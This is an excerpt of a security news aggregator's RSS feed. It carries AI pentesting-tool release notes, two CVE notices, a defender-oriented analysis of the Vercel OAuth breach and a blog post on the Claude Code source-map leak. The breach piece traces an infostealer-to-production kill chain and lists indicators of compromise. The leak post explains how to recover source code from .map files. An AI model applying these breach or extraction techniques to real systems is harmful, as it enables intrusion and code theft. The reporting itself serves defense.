</ul>
<p><strong>🔍 Enhanced Search Ecosystem</strong> - Integrated <a href="https://docs.searxng.org/" rel="nofollow">SearXNG</a> meta-search engine with privacy-focused searching, complementing existing Perplexity and DuckDuckGo providers.</p>
<p><strong>⚡ Patch Refiner</strong> - Intelligent result refinement system that automatically improves agent outputs, validates findings, and ensures accuracy before presenting final results.</p>
<h3>🚀 New Features</h3>
<ul>
<li><strong>Prompt &amp; Agent Management</strong>: Create, edit, and test custom AI agent configurations through the web interface</li>
<li><strong>Provider Testing UI</strong>: Built-in testing functionality for validating LLM provider configurations with detailed reports</li>
<li><strong>SSL/TLS Configuration</strong>: External certificate support with custom CA paths and insecure mode for development</li>
<li><strong>Enhanced Container Management</strong>: Configurable Docker images for penetration testing with improved isolation</li>
<li><strong>Installation ID &amp; Licensing</strong>: PentAGI Cloud API integration with license key management</li>
<li><strong>Volume Persistence Detection</strong>: Automatic Docker volume existence checks for Pentagi and Langfuse services</li>
</ul>
<h3>🎨 UI/UX Improvements</h3>
<ul>
<li><strong>React 19 Migration</strong>: Upgraded to latest React version with improved performance and new features</li>
<li><strong>Tailwind v4</strong>: Modern styling system with better customization and smaller bundle size</li>
<li><strong>Flow Components Refactoring</strong>: Renamed and restructured chat components to flow-based architecture</li>
<li><strong>Responsive Filter Forms</strong>: Advanced filtering UI with input groups for agents, tools, and vector stores</li>
<li><strong>Delete Confirmation Dialogs</strong>: User-friendly confirmation prompts for destructive actions</li>
<li><strong>Hybrid Model Selector</strong>: Combined input/dropdown for flexible model selection</li>
</ul>
<h3>🐛 Key Fixes</h3>
<ul>
<li><strong>Long Subtask Descriptions</strong>: Fixed issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3563542170" data-permission-text="Title is private" data-url="https://github.com/vxcontrol/pentagi/issues/72" data-hovercard-type="issue" data-hovercard-url="/vxcontrol/pentagi/issues/72/hovercard" href="https://github.com/vxcontrol/pentagi/issues/72">#72</a> with truncating overly detailed subtask descriptions</li>
<li><strong>Large Result Storage</strong>: Resolved database issues when storing extensive task and subtask results</li>
<li><strong>Provider Configuration</strong>: Fixed empty provider config creation in web UI (issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3526504563" data-permission-text="Title is private" data-url="https://github.com/vxcontrol/pentagi/issues/63" data-hovercard-type="issue" data-hovercard-url="/vxcontrol/pentagi/issues/63/hovercard" href="https://github.com/vxcontrol/pentagi/issues/63">#63</a>)</li>
<li><strong>Manual Task Stopping</strong>: Improved handling when stopping tasks during refiner operations</li>
<li><strong>URL Resolution</strong>: Enhanced browser tool logic for local domain handling</li>
<li><strong>UTF-8 Sanitization</strong>: Moved database UTF-8 sanitization to common package for consistency</li>
</ul>
<h3>🔧 Infrastructure Improvements</h3>
<ul>
<li><strong>Go 1.24</strong>: Updated to latest Golang version with performance improvements</li>
<li><strong>Docker Optimization</strong>: Removed unnecessary cleanup steps, optimized layer caching</li>
<li><strong>Dependency Updates</strong>:
<ul>
<li>Docker SDK 28.2.2 → 28.3.3</li>
<li>Ollama 0.9.6 → 0.10.0</li>
<li>golang.org/x/crypto security updates</li>
<li>Frontend dependencies (Vite, axios, jsPDF)</li>
</ul>
</li>
<li><strong>Alpine 3.22.1</strong>: Latest base image with security patches</li>
<li><strong>Enhanced Logging</strong>: Improved logging throughout the application with better context</li>
</ul>
<h3>🔄 Performance &amp; Architecture</h3>
<ul>
<li><strong>Graphite Docker Compose</strong>: Separate docker-compose-graphiti.yml for modular deployment</li>
<li><strong>Parallel Workers</strong>: Increased default from 8 to 16 for improved testing performance</li>
<li><strong>Apollo Cache Optimization</strong>: Added keyFields normalization for better provider handling</li>
<li><strong>Agent Configuration</strong>: Refactored to use AgentConfigType enum for clarity</li>
<li><strong>Settings Refactoring</strong>: Streamlined provider, prompt, and agent management architecture</li>
</ul>
<h3>📚 Documentation</h3>
<ul>
<li><strong>Installer Documentation</strong>: Comprehensive guide for installation wizard components</li>
<li><strong>Flow Execution Guide</strong>: Enhanced launch configuration documentation</li>
<li><strong>Graphiti Setup</strong>: Instructions for running knowledge graph stack</li>
<li><strong>Provider Examples</strong>: Updated configuration examples for all supported providers</li>
<li><strong>Prerequisites Guide</strong>: Detailed Docker installation and permissions documentation</li>
</ul>
<hr>
<p>📖 <strong>Documentation</strong>: For detailed setup instructions, visit the <a href="https://github.com/vxcontrol/pentagi#readme">README</a> and <a href="https://pentagi.com/get-started" rel="nofollow">Quick Start Guide</a></p>
<hr>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stoykovstoyk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stoykovstoyk">@stoykovstoyk</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3341799785" data-permission-text="Title is private" data-url="https://github.com/vxcontrol/pentagi/issues/53" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/53/hovercard" href="https://github.com/vxcontrol/pentagi/pull/53">#53</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PeterDaveHello/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PeterDaveHello">@PeterDaveHello</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3290554978" data-permission-text="Title is private" data-url="https://github.com/vxcontrol/pentagi/issues/50" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/50/hovercard" href="https://github.com/vxcontrol/pentagi/pull/50">#50</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kaikreuzer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kaikreuzer">@kaikreuzer</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3699105191" data-permission-text="Title is private" data-url="https://github.com/vxcontrol/pentagi/issues/90" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/90/hovercard" href="https://github.com/vxcontrol/pentagi/pull/90">#90</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zavgorodnii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zavgorodnii">@zavgorodnii</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3738652356" data-permission-text="Title is private" data-url="https://github.com/vxcontrol/pentagi/issues/93" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/93/hovercard" href="https://github.com/vxcontrol/pentagi/pull/93">#93</a></li>
</ul>
<hr>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/vxcontrol/pentagi/compare/v0.3.0...v1.0.0"><tt>v0.3.0...v1.0.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-41211 | voidzero-dev vite-plus up to 0.1.16 downloadPackageManager path traversal (GHSA-33r3-4whc-44c2 / EUVD-2026-25163)]]></title>
<description><![CDATA[A vulnerability was found in voidzero-dev vite-plus up to 0.1.16. It has been declared as critical. Affected by this vulnerability is the function downloadPackageManager. The manipulation results in path traversal.

This vulnerability is identified as CVE-2026-41211. The attack is only possible w...]]></description>
<link>https://tsecurity.de/de/3457639/sicherheitsluecken/cve-2026-41211-voidzero-dev-vite-plus-up-to-0116-downloadpackagemanager-path-traversal-ghsa-33r3-4whc-44c2-euvd-2026-25163/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3457639/sicherheitsluecken/cve-2026-41211-voidzero-dev-vite-plus-up-to-0116-downloadpackagemanager-path-traversal-ghsa-33r3-4whc-44c2-euvd-2026-25163/</guid>
<pubDate>Thu, 23 Apr 2026 12:22:57 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/voidzero-dev:vite-plus">voidzero-dev vite-plus up to 0.1.16</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this vulnerability is the function <code>downloadPackageManager</code>. The manipulation results in path traversal.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-41211">CVE-2026-41211</a>. The attack is only possible with local access. There is not any exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Vercel breach exposes the OAuth gap most security teams cannot detect, scope or contain]]></title>
<description><![CDATA[One employee at Vercel adopted an AI tool. One employee at that AI vendor got hit with an infostealer. That combination created a walk-in path to Vercel’s production environments through an OAuth grant that nobody had reviewed.Vercel, the cloud platform behind Next.js and its millions of weekly n...]]></description>
<link>https://tsecurity.de/de/3452947/it-nachrichten/vercel-breach-exposes-the-oauth-gap-most-security-teams-cannot-detect-scope-or-contain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3452947/it-nachrichten/vercel-breach-exposes-the-oauth-gap-most-security-teams-cannot-detect-scope-or-contain/</guid>
<pubDate>Tue, 21 Apr 2026 23:17:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>One employee at Vercel adopted an AI tool. One employee at that AI vendor got hit with an infostealer. That combination created a walk-in path to Vercel’s production environments through an OAuth grant that nobody had reviewed.</p><p>Vercel, the cloud platform behind Next.js and its millions of weekly npm downloads, <a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident">confirmed on Sunday</a> that attackers gained unauthorized access to internal systems. Mandiant was brought in. Law enforcement was notified. Investigations remain active. An update on Monday confirmed that Vercel collaborated with GitHub, Microsoft, npm, and Socket to verify that no Vercel npm packages were compromised. Vercel also announced it is now defaulting environment variable creation to “sensitive.” Next.js, Turbopack, AI SDK, and all Vercel-published npm packages remain uncompromised after a coordinated audit with GitHub, Microsoft, npm, and Socket.</p><p>Context.ai was the entry point. <a href="https://www.ox.security/blog/vercel-context-ai-supply-chain-attack-breachforums/">OX Security’s analysis</a> found that a Vercel employee installed the Context.ai browser extension and signed into it using a corporate Google Workspace account, granting broad OAuth permissions. When Context.ai was breached, the attacker inherited that employee’s Workspace access, pivoted into Vercel environments, and escalated privileges by sifting through environment variables not marked as “sensitive.” Vercel’s bulletin states that variables marked sensitive are stored in a manner that prevents them from being read. Variables without that designation were accessible in plaintext through the dashboard and API, and the attacker used them as the escalation path.</p><p>CEO <a href="https://x.com/rauchg/status/2045995362499076169">Guillermo Rauch described</a> the attacker as “highly sophisticated and, I strongly suspect, significantly accelerated by AI.” Jaime Blasco, CTO of Nudge Security, <a href="https://thehackernews.com/2026/04/vercel-breach-tied-to-context-ai-hack.html">independently surfaced</a> a second OAuth grant tied to Context.ai’s Chrome extension, matching the client ID from Vercel’s published IOC to Context.ai’s Google account before Rauch’s public statement. The Hacker News reported that Google removed Context.ai’s Chrome extension from the Chrome Web Store on March 27. Per The Hacker News and Nudge Security, that extension embedded a second OAuth grant enabling read access to users’ Google Drive files.</p><h2>Patient zero. A Roblox cheat and a Lumma Stealer infection</h2><p><a href="https://www.infostealers.com/article/breaking-vercel-breach-linked-to-infostealer-infection-at-context-ai/">Hudson Rock published forensic evidence</a> on Monday, reporting that the breach origin traces to a February 2026 Lumma Stealer infection on a Context.ai employee’s machine. According to Hudson Rock, browser history showed the employee downloading Roblox auto-farm scripts and game exploit executors. Harvested credentials included Google Workspace logins, Supabase keys, Datadog tokens, Authkit credentials, and the support@context.ai account. Hudson Rock identified the infected user as a core member of “context-inc,” Context.ai’s tenant on the Vercel platform, with administrative access to production environment variable dashboards.</p><p>Context.ai <a href="https://context.ai/security-update">published its own bulletin</a> on Sunday (updated Monday), disclosing that the breach affects its deprecated AI Office Suite consumer product, not its enterprise Bedrock offering (Context.ai’s agent infrastructure product, unrelated to AWS Bedrock). Context.ai says it detected unauthorized access to its AWS environment in March, hired CrowdStrike to investigate, and shut down the environment. Its updated bulletin then disclosed that the scope was broader than initially understood: the attacker also compromised OAuth tokens for consumer users, and one of those tokens opened the door to Vercel’s Google Workspace.</p><p>Dwell time is the detail that should concern security directors. Nearly a month separated Context.ai’s March detection from the Vercel disclosure on Sunday. A separate Trend Micro analysis references an intrusion beginning as <a href="https://www.trendmicro.com/en_us/research/26/d/vercel-breach-oauth-supply-chain.html">early as June 2024</a> — a finding that, if confirmed, would extend the dwell time to roughly 22 months. VentureBeat could not independently reconcile that timeline with Hudson Rock's February 2026 dating; Trend Micro did not respond to a request for comment before publication.</p><h2>Where detection goes blind</h2><p>Security directors can use this table to benchmark their own detection stack against the four-hop kill chain this breach exploited.</p><table><tbody><tr><td><p><b>Kill Chain Hop</b></p></td><td><p><b>What Happened</b></p></td><td><p><b>Who Should Detect</b></p></td><td><p><b>Typical Coverage</b></p></td><td><p><b>Gap</b></p></td></tr><tr><td><p><b>1. Infostealer on employee device</b></p></td><td><p>Context.ai employee downloaded Roblox cheat scripts; Lumma Stealer harvested Workspace creds, Supabase/Datadog/Authkit keys.</p></td><td><p>EDR on endpoint; credential exposure monitoring.</p></td><td><p>Low. Device likely under-monitored. No stealer log monitoring at most orgs.</p></td><td><p>Most enterprises do not subscribe to infostealer intelligence feeds or correlate stealer logs against employee email domains.</p></td></tr><tr><td><p><b>2. AWS compromise at Context.ai</b></p></td><td><p>Attacker used harvested credentials to access Context.ai’s AWS. Detected in March.</p></td><td><p>Context.ai cloud security; AWS CloudTrail.</p></td><td><p>Partially detected. Context.ai stopped AWS access but missed OAuth token exfiltration.</p></td><td><p>Initial investigation did not identify OAuth token exfiltration. Scope was underestimated until Vercel disclosure.</p></td></tr><tr><td><p><b>3. OAuth token theft into Vercel Workspace</b></p></td><td><p>Compromised OAuth token used to access a Vercel employee’s Google Workspace. Employee had granted “Allow All” permissions via Chrome extension.</p></td><td><p>Google Workspace audit logs; OAuth app monitoring; CASB.</p></td><td><p>Very low. Most orgs do not monitor third-party OAuth token usage patterns.</p></td><td><p>No approval workflow intercepted the grant. No anomaly detection on OAuth token use from a compromised third party. This is the hop no one saw.</p></td></tr><tr><td><p><b>4. Lateral movement into Vercel production</b></p></td><td><p>Attacker enumerated non-sensitive env vars (accessible via dashboard/API), harvested customer credentials.</p></td><td><p>Vercel platform audit logs; behavioral analytics.</p></td><td><p>Moderate. Vercel detected the intrusion after the attacker accessed customer credentials.</p></td><td><p>Detection occurred after exfiltration, not before. Env var access by a compromised Workspace account did not trigger real-time alerting.</p></td></tr></tbody></table><h2>What’s confirmed vs. what’s claimed</h2><p>Vercel’s bulletin confirms unauthorized access to internal systems, a limited subset of affected customers, and two IOCs tied to Context.ai’s Google Workspace OAuth apps. Rauch confirmed that Next.js, Turbopack, and Vercel’s open-source projects are unaffected.</p><p>Separately, a threat actor using the ShinyHunters name <a href="https://www.bleepingcomputer.com/news/security/vercel-confirms-breach-as-hackers-claim-to-be-selling-stolen-data/">posted on BreachForums</a> claiming to hold Vercel’s internal database, employee accounts, and GitHub and NPM tokens, with a $2M asking price. Austin Larsen, principal threat analyst at Google Threat Intelligence, <a href="https://cyberscoop.com/vercel-security-breach-third-party-attack-context-ai-lumma-stealer/">assessed the claimant</a> as “likely an imposter.” Actors previously linked to ShinyHunters have denied involvement. None of these claims has been independently verified.</p><h2>Six governance failures the Vercel breach exposed</h2><p><b>1. AI tool OAuth scopes go unaudited. </b>Context.ai’s own bulletin states that a Vercel employee granted “Allow All” permissions using a corporate account. Most security teams have no inventory of which AI tools their employees have granted OAuth access to.</p><p>CrowdStrike CTO Elia Zaitsev put it bluntly at RSAC 2026: “Don’t give an agent access to everything just because you’re lazy. Give it access to only what it needs to get the job done.” Jeff Pollard, VP and principal analyst at Forrester, told Cybersecurity Dive that the attack is a reminder about <a href="https://www.cybersecuritydive.com/news/vercel-customers-targeted-after-third-party-tool-compromised/817949/">third-party risk management concerns and AI tool permissions</a>.</p><p><b>2. Environment variable classification is doing real security work. </b>Vercel distinguishes between variables marked “sensitive” (stored in a manner that prevents reading) and those without that designation (accessible in plaintext through the dashboard and API). Attackers used the accessible variables as the escalation path. A developer convenience toggle determined the blast radius. Vercel has since changed its default: new environment variables now default to sensitive.</p><p>“Modern controls get deployed, but if legacy tokens or keys aren’t retired, the system quietly favors them,” Merritt Baer, CSO at Enkrypt AI and former Deputy CISO at AWS, told VentureBeat. </p><p><b>3. Infostealer-to-SaaS-to-supply-chain escalation chains lack detection coverage. </b>Hudson Rock’s reporting reveals a kill chain that crossed four organizational boundaries. No single detection layer covers that chain. Context.ai’s updated bulletin acknowledged that the scope extended beyond what was initially identified during its CrowdStrike-led investigation.</p><p><b>4. Dwell time between vendor detection and customer notification exceeds attacker timelines.</b> Context.ai detected the AWS compromise in March. Vercel disclosed on Sunday. Every CISO should ask their vendors: what is your contractual notification window after detecting unauthorized access that could affect downstream customers?</p><p><b>5. Third-party AI tools are the new shadow IT. </b>Vercel’s bulletin describes Context.ai as “a small, third-party AI tool.” <a href="https://www.securityweek.com/the-shadow-ai-problem-how-saas-apps-are-quietly-enabling-massive-breaches/">Grip Security’s March 2026 analysis</a> of 23,000 SaaS environments found a 490% year-over-year increase in AI-related attacks. Vercel is the latest enterprise to learn this the hard way.</p><p><b>6. AI-accelerated attackers compress response timelines. </b>Rauch’s assessment of AI acceleration comes from what his IR team observed. <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2026 Global Threat Report</a> puts the baseline at a 29-minute average eCrime breakout time, 65% faster than 2024.</p><h2>Security director action plan</h2><table><tbody><tr><td><p><b>Attack Surface</b></p></td><td><p><b>What Failed</b></p></td><td><p><b>Recommended Action</b></p></td><td><p><b>Owner</b></p></td></tr><tr><td><p><b>OAuth governance</b></p></td><td><p>Context.ai held broad “Allow All” Workspace permissions. No approval workflow intercepted.</p></td><td><p>Inventory every AI tool OAuth grant org-wide. Revoke scopes exceeding least privilege. Check both Vercel IOCs now.</p></td><td><p>Identity / IAM</p></td></tr><tr><td><p><b>Env var classification</b></p></td><td><p>Variables not marked “sensitive” remained accessible. Accessibility became the escalation path.</p></td><td><p>Default to non-readable. Require a security sign-off to downgrade any variable to accessible.</p></td><td><p>Platform eng + security</p></td></tr><tr><td><p><b>Infostealer-to-supply-chain</b></p></td><td><p>Kill chain spanned Lumma Stealer, Context.ai AWS, OAuth tokens, Vercel Workspace, and production environments.</p></td><td><p>Correlate Infostealer intel feeds against employee domains. Automate credential rotation when creds surface in stealer logs.</p></td><td><p>Threat intel + SOC</p></td></tr><tr><td><p><b>Vendor notification lag</b></p></td><td><p>Nearly a month between Context.ai detection and Vercel disclosure.</p></td><td><p>Require 72-hour notification clauses in all contracts involving OAuth or identity integration.</p></td><td><p>Third-party risk / legal</p></td></tr><tr><td><p><b>Shadow AI adoption</b></p></td><td><p>One employee’s unapproved AI tool became the breach vector for hundreds of orgs.</p></td><td><p>Extend shadow IT discovery to AI agent platforms. Treat unapproved adoption as a security event.</p></td><td><p>Security ops + procurement</p></td></tr><tr><td><p><b>Lateral movement speed</b></p></td><td><p>Rauch suspects AI acceleration. Attacker compressed the access-to-escalation window.</p></td><td><p>Cut detection-to-containment SLAs below 29-minute eCrime average.</p></td><td><p>SOC + IR team</p></td></tr></tbody></table><h2>Run both IoC checks today</h2><p>Search your Google Workspace admin console (Security &gt; API Controls &gt; Manage Third-Party App Access) for two OAuth App IDs.</p><p>The first is 110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com, tied to Context.ai’s Office Suite.</p><p>The second is 110671459871-f3cq3okebd3jcg1lllmroqejdbka8cqq.apps.googleusercontent.com, tied to Context.ai’s Chrome extension and granting Google Drive read access.</p><p>If either touched your environment, you are in the blast radius regardless of what Vercel discloses next.</p><h2>What this means for security directors</h2><p>Forget the Vercel brand name for a moment. What happened here is the first major proof case that AI agent OAuth integrations create a breach class that most enterprise security programs cannot detect, scope, or contain. A Roblox cheat download in February led to production infrastructure access in April. Four organizational boundaries, two cloud providers, and one identity perimeter. No zero-day required.</p><p>For most enterprises, employees have connected AI tools to corporate Google Workspace, Microsoft 365 or Slack instances with broad OAuth scopes — without security teams knowing. The Vercel breach is the case study for what that exposure looks like when an attacker finds it first.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-55182 | Meta react-server-dom-webpack 19.0.0/19.1.0/19.1.1/19.2.0 React Server React2Shell deserialization (EUVD-2025-200983 / EDB-52506)]]></title>
<description><![CDATA[A vulnerability was found in Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel 19.0.0/19.1.0/19.1.1/19.2.0. It has been classified as very critical. This affects an unknown part of the component React Server. This manipulation causes deserialization.

This vuln...]]></description>
<link>https://tsecurity.de/de/3441849/sicherheitsluecken/cve-2025-55182-meta-react-server-dom-webpack-1900191019111920-react-server-react2shell-deserialization-euvd-2025-200983-edb-52506/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3441849/sicherheitsluecken/cve-2025-55182-meta-react-server-dom-webpack-1900191019111920-react-server-react2shell-deserialization-euvd-2025-200983-edb-52506/</guid>
<pubDate>Fri, 17 Apr 2026 13:39:49 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/meta:react-server-dom-webpack">Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel 19.0.0/19.1.0/19.1.1/19.2.0</a>. It has been classified as <a href="https://vuldb.com/kb/risk">very critical</a>. This affects an unknown part of the component <em>React Server</em>. This manipulation causes deserialization.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2025-55182">CVE-2025-55182</a>. The attack can be initiated remotely. Additionally, an exploit exists. This vulnerability is considered historic because of its background and reception.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Leak a $340B Secret: The Anthropic “Claude Code” Incident]]></title>
<description><![CDATA[I genuinely thought this was an April Fool’s prank. Every year, companies like Google pull some elaborate stunt, so when I saw the “Claude Code leak” trending on April 1st, I kept scrolling.But out of curiosity, I checked the npm registry for @anthropic-ai/claude-code. The version everyone was ta...]]></description>
<link>https://tsecurity.de/de/3410540/hacking/how-to-leak-a-340b-secret-the-anthropic-claude-code-incident/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3410540/hacking/how-to-leak-a-340b-secret-the-anthropic-claude-code-incident/</guid>
<pubDate>Mon, 06 Apr 2026 09:35:28 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ruqGwfHW5hs7C3_vI-u5Q.png"></figure><p>I genuinely thought this was an April Fool’s prank. Every year, companies like Google pull some elaborate stunt, so when I saw the “Claude Code leak” trending on April 1st, I kept scrolling.</p><p>But out of curiosity, I checked the npm registry for @anthropic-ai/claude-code. The version everyone was talking about (<strong>v2.1.88</strong>)?</p><p><strong>Gone.</strong> Not deprecated. Not hidden. Just scrubbed from existence.</p><p>That’s when it stopped looking like a joke.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*w19AzjX_Q_e_bzUSaaGv7w.png"><figcaption>where is v2.1.88?</figcaption></figure><h3>What Actually Happened</h3><p>This wasn’t a sophisticated zero-day or a database breach. It is just a bad release.</p><p>It was a perfect example of how modern software supply chains fail fast and fail publicly:</p><ul><li><strong>The Trigger:</strong> Anthropic pushed an update to npm.</li><li><strong>The Cargo:</strong> Inside the package was a <strong>59.8 MB</strong> debug artifact.</li><li><strong>The Payload:</strong> A .map file (cli.js.map) that didn't just map code—it contained the sourcesContent for the entire project.</li></ul><h3>The Timeline of Chaos</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SHNXEkyPf1pRaTVKgLaLAA.png"></figure><ul><li><strong>T+0 mins:</strong> Version 2.1.88 hits npm.</li><li><strong>+23 mins:</strong> Security researcher <strong>Chaofan Shou</strong> notices the unusual file size and downloads the package.</li><li><strong>+45 mins:</strong> The source is extracted. It’s not just snippets; it’s <strong>1,900+ TypeScript files</strong> and <strong>512,000+ lines</strong> of proprietary logic.</li><li><strong>+2 hours:</strong> The GitHub mirrors start to appear, before the first DMCA notice can even be drafted.</li><li><strong>+6 hours:</strong> The “clean-room” rewrites begin. A Python port and a Rust rewrite (likely AI-assisted) exploded.</li></ul><h3>What is a Source Map actually?</h3><p>A source map is a JSON file that acts as a bridge between your “ Production Code” and your “Development Code.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D--Dyrgzuh1E_JWLGGV02w.png"></figure><p><strong>Why this exists:</strong></p><p>Modern web development is a series of transformations:</p><ul><li><strong>TypeScript</strong> → Compiled to <strong>JavaScript</strong></li><li><strong>Modern JS</strong> → Transpiled for compatibility (Babel)</li><li><strong>Code</strong> → Bundled and Minified (Vite, Webpack, or in Anthropic’s case, <strong>Bun</strong>)</li></ul><p>The final code is a single-line mess. If an error happens in production, your stack trace looks like this: Error at a.js:1:98432. You are effectively blind.</p><p><strong>The Fix:</strong></p><p>A source map tells the browser: <em>“Line 1, column 98432 in bundle.js actually maps to line 42 in </em><em>AuthService.ts."</em></p><h3>How to Extract Code from .map Files</h3><p>If you’re a dev and you see a .map file in the wild, here is how you "reverse" it.</p><h4>Method 1: The DevTools Way</h4><ol><li>Open Chrome DevTools → <strong>Sources</strong> tab.</li><li>If the site has maps enabled, look for a folder usually named webpack:// or file://.</li><li>You can browse the original source tree, set breakpoints, and read comments exactly as the author wrote them.</li></ol><h4>The Billion-Dollar String: Why sourcesContent is a Security Nightmare</h4><p>If you open that .map file in a text editor instead of a browser, you’ll see why DevTools is able to show you the original code.</p><p>Most people don’t realize there are two ways a source map handles your files:</p><ol><li><strong>Reference Maps:</strong> They just point to paths (e.g., "sources": ["src/main.ts"]). If a hacker downloads this, they get a list of your filenames, but the files are empty because they don't have access to your local machine's file system.</li><li><strong>Inline Maps (The “Anthropic” Way):</strong> These include the sourcesContent field. This is a massive array of strings containing the <strong>actual raw source code</strong> of every single file in your project.</li></ol><p><strong>This is what Anthropic did.</strong> They didn’t just point to the code; they bundled the entire repository <em>inside</em> the map file. When you have sourcesContent, DevTools doesn't need to look for your files on a server—it already has the full text sitting right there in the JSON. What We Learned (The “Undercover Mode” and more)</p><p>The leak revealed more than just code; it revealed Anthropic’s roadmap:</p><ul><li><strong>“Kairos”:</strong> An unreleased daemon mode that allows Claude to run as an always-on background agent.</li><li><strong>“Undercover Mode”:</strong> A feature that strips AI attribution from commits so devs can contribute to public repos “silently.”</li><li><strong>“Buddy”:</strong> A full-blown pet/Tamagotchi system (likely the intended April Fool’s release) with rarity tiers and “shiny” variants.</li></ul><h3>The Security Takeaway</h3><ul><li><strong>Your build pipeline is a bigger risk than hackers.</strong> A single misconfigured .npmignore or a missing files field in package.json can bypass all your firewalls.</li><li><strong>Deletion is an illusion.</strong> Anthropic nuked the package within hours, but by then, it was already mirrored in 40,000 places.</li><li><strong>Check your Bundler.</strong> Anthropic uses <strong>Bun</strong>. Bun (and Vite/Webpack) make it very easy to generate maps; you must be explicit about <em>where</em> those maps go.</li></ul><p><strong>Pro-tip:</strong> Use a tool like source-map-explorer As part of your CI/CD, visualize what you're actually shipping before it hits the registry.</p><h3>References:</h3><p><a href="https://github.com/chatgptprojects/clear-code/tree/642c7f944bbe5f7e57c05d756ab7fa7c9c5035cc?tab=readme-ov-file">https://github.com/chatgptprojects/clear-code/tree/642c7f944bbe5f7e57c05d756ab7fa7c9c5035cc?tab=readme-ov-file</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=663b3d6e3bb4" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-to-leak-a-340b-secret-the-anthropic-claude-code-incident-663b3d6e3bb4">How to Leak a $340B Secret: The Anthropic “Claude Code” Incident</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Local-first browser data gets real]]></title>
<description><![CDATA[If JavaScript were a character in a role-playing game, its class would be a Rogue. When it was a youngster, it was a street kid that lived on the margins of society. Over time, it has become an established figure in the enterprise hierarchy. But it never forgot where it came from, and you never k...]]></description>
<link>https://tsecurity.de/de/3405017/ai-nachrichten/local-first-browser-data-gets-real/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3405017/ai-nachrichten/local-first-browser-data-gets-real/</guid>
<pubDate>Fri, 03 Apr 2026 11:32:57 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>If <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> were a character in a role-playing game, its class would be a Rogue. When it was a youngster, it was a street kid that lived on the margins of society. Over time, it has become an established figure in the enterprise hierarchy. But it never forgot where it came from, and you never know what sleight of hand it will perform next.</p>



<p>For example, fine-grained <a href="https://github.com/tc39/proposal-signals">Signals</a> are mounting a rebellion to overthrow the existing Virtual DOM hegemony. Incremental improvements to <a href="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html">WebAssembly</a> have reached the point where a real SQL database can be run inside the browser. Coupled with ingenious architectural patterns, this has opened up new possibilities in app data design. </p>



